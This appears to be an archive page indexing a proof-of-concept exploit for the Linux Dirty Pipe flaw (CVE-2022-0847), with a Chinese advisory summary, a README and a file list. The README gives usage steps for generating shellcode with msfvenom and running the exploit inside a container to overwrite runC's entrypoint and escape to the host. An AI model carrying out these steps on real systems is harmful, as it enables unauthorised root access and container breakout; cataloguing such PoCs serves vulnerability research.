Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响:Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。
Description
A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes.
Readme
# CVE-2022-0847
A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes.

## Usage
Produce base64 encoded shellcode using msf:
```
$ msfvenom -p linux/x64/exec CMD="<command>" -f base64
```

Compile and run in the container, the **overwritten filename** is the bin that runC will execute in the container (such as /bin/sh):
```bash
$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>
```

Trigger exploit and shellcode outside the container like CVE-2019-5736.

## References
+ [Breaking out of Docker via runC – Explaining CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
+ [Using the Dirty Pipe Vulnerability to Break Out from Containers](https://www.datadoghq.com/blog/engineering/dirty-pipe-container-escape-poc/)

File Snapshot

[4.0K] /data/pocs/cbe369e3c9cc2ea532c1920a0749f65571b09937 ├── [6.4K] exploit.c └── [ 878] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.